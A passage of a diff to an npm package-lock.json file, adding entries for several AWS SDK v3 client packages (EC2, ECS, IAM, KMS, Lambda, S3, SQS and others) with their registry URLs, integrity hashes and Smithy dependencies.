"@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-ec2": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-ec2/-/client-ec2-3.1032.0.tgz", + "integrity": "sha512-GIylV1tq4kOsS6iatmA8XIRXm7aqZU36IA7cN5/wCWStVXsDgLZuRMYkzEnezieHu6+xmxKqAtDxH+/eUqcYKg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-sdk-ec2": "^3.972.20", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-ecs": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-ecs/-/client-ecs-3.1032.0.tgz", + "integrity": "sha512-Uggbbxv6b55F+YLpNC0PIixJEBVsMnLj6EwpZk3HAr5QYqaiBME9jqeNDxm0KKB1GM13whZ7YMcEJhQHeRGY2g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-elastic-load-balancing": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-elastic-load-balancing/-/client-elastic-load-balancing-3.1032.0.tgz", + "integrity": "sha512-Bj50oJyr5m5gG+qTxeakXBIXmLRRnU4TqXVQOKfmXCMc2s7BTxoNnQPTor9oXXKISV4OxE2K0TVUn9zPkK09SA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-elastic-load-balancing-v2": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-elastic-load-balancing-v2/-/client-elastic-load-balancing-v2-3.1032.0.tgz", + "integrity": "sha512-OtTD68xc5Ui9g5TMaJZK/FrKhEiy7yuvhrsANSaRrHpQHrlgLVpQ09+bpGu3hisIaqi74mUwrSfwx1bDpXd/cQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-iam": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-iam/-/client-iam-3.1032.0.tgz", + "integrity": "sha512-dzLygZx+PIUJ1Iob2l6a3ToqRtF1FQzF+Ps8lPeFaJSibslUt12hmBGUJ7uIVvoXhGzRRsRwtXTCH++XZpVYag==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-kms": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-kms/-/client-kms-3.1032.0.tgz", + "integrity": "sha512-vvNhX1ODpYc0tLb1RF2Av5OXiQFABs5yssvvCKv6tdy4pkRV18IVQD8V/W/Pw93UOQ6UHyjBiOtUD6QL8LjSjg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-lambda": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-lambda/-/client-lambda-3.1032.0.tgz", + "integrity": "sha512-HLNMYSus976SNtEl9w9HKDmW5rY61FlnBZdux63tUVDuIk82ycF31ZktigEBz0D0rtc7wi1WulpqJHyT8s6jxg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/eventstream-serde-browser": "^4.2.14", + "@smithy/eventstream-serde-config-resolver": "^4.3.14", + "@smithy/eventstream-serde-node": "^4.2.14", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-organizations": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-organizations/-/client-organizations-3.1032.0.tgz", + "integrity": "sha512-t8nnhltAkEXzkUg2BmwbxOBbZAA8wR04ajblWfYQWas7YxI/lmJsT/7nPsuIb6H0uEbuDOfN9Z8eS1CJrZTdZQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-rds": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-rds/-/client-rds-3.1032.0.tgz", + "integrity": "sha512-9SRiHOw8T7CSHRTXTu1Vw2skmA1Cuf1ZXUchMfMJkq7CH0UI0IV7HrxHRvXxyKsobWI52KkLHNzjaKH2rlceng==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-sdk-rds": "^3.972.20", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-s3": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.1032.0.tgz", + "integrity": "sha512-A1wjVhV3IgsZ5td2l4AWgK03EjZ+ldwbiorxuO1hPf7RHJtSdr6oq/gKzyUwP7Tm7ma/M2xS/tplg5C8XB8RWg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha1-browser": "5.2.0", + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-bucket-endpoint": "^3.972.10", + "@aws-sdk/middleware-expect-continue": "^3.972.10", + "@aws-sdk/middleware-flexible-checksums": "^3.974.9", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-location-constraint": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-sdk-s3": "^3.972.30", + "@aws-sdk/middleware-ssec": "^3.972.10", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/signature-v4-multi-region": "^3.996.18", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/eventstream-serde-browser": "^4.2.14", + "@smithy/eventstream-serde-config-resolver": "^4.3.14", + "@smithy/eventstream-serde-node": "^4.2.14", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-blob-browser": "^4.2.15", + "@smithy/hash-node": "^4.2.14", + "@smithy/hash-stream-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/md5-js": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-secrets-manager": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-secrets-manager/-/client-secrets-manager-3.1032.0.tgz", + "integrity": "sha512-gdSaBSaghzbCoAeCVbnbBkF1z5IN37+kWhWwHREbc6ulBn2gk+rJGu4jyPzeZGmpKHkICqosjlhB3jJkozWucQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-sns": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sns/-/client-sns-3.1032.0.tgz", + "integrity": "sha512-WebJZGkQArdZ4YTvZZKmHdqbkcG4hyf6fzba1Z2yG+fIyzNB/MTODRHPByzaq9tKL8bK6wWCU9/9dgLCPIs4cQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-sqs": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sqs/-/client-sqs-3.1032.0.tgz", + "integrity": "sha512-n102sARTLi53Da0JT/2Kvg/bQ4bv+JqA+YQ8OlaM4CgsPn61sMv0x9PxdF6s/KbgZ2HMwYBszNzuvUttN+Beqg==", + 